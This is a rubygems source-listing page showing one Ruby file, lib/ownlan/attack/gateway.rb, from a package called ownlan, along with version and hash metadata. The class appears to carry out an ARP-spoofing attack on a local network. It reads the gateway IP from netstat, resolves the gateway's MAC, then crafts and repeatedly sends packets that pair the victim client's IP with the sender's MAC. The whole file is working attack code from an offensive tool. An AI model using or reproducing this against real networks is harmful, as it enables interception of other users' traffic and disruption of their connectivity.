Sha256: 83859a41da9564894135114d8ff88a4b2acd9867bf11a514c42c874fcd03d14c
Contents?: true
Size: 641 Bytes
Versions: 2
Compression:
Stored size: 641 Bytes
Contents
module Ownlan module Attack class Gateway < Base def process gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"` gw_mac = PacketFu::Utils::arp(gw_ip, :iface => interface) config.source_mac.nil? ? saddr = ServiceObjects::NetworkInformation.self_mac(interface) : saddr = config.source_mac daddr = gw_mac saddr_ip = config.client_ip daddr_ip = gw_ip crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, saddr_ip, config.delay, interface) send_packet(config.delay, config.interface, crafted_packet) end end end end
Version data entries
2 entries across 2 versions & 1 rubygems
Version | Path |
---|---|
ownlan-0.3.2 | lib/ownlan/attack/gateway.rb |
ownlan-0.3.0 | lib/ownlan/attack/gateway.rb |